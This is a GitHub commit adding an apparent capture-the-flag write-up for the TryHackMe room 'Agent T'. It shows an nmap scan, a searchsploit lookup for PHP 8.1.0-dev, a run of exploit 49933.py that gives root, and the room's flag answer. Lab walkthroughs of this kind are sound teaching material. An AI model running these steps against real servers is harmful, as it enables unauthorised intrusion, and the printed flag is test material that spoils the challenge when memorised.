-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
553c679
commit 619b3e0
Showing
1 changed file
with
56 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
# [Agent T](https://tryhackme.com/room/agentt) | ||
|
||
> Something seems a little off with the server. | ||
## Scanning | ||
|
||
scan the target | ||
|
||
``` | ||
nmap -sS -sV -sC 10.10.151.122 | ||
``` | ||
|
||
 | ||
|
||
## HTTP | ||
|
||
go to the webpage | ||
|
||
 | ||
|
||
we found a admin dardboard that contain a searchbar | ||
|
||
## Enumeration | ||
|
||
just try a request, i found the version of php | ||
|
||
 | ||
|
||
quick search for cve | ||
|
||
``` | ||
searchsploit php 8.1.0-dev | ||
``` | ||
|
||
 | ||
|
||
## Exploitation | ||
|
||
``` | ||
searchsploit -m 49933.py | ||
python3 49933.py | ||
``` | ||
|
||
 | ||
|
||
wow amazing, we got root user | ||
|
||
``` | ||
find / -name *flag*.txt 2>/dev/null | ||
``` | ||
|
||
 | ||
|
||
| Flag | user.txt | | ||
| --- | --- | | ||
| Answer | flag{4127d0530abf16d6d23973e3df8dbecb} | |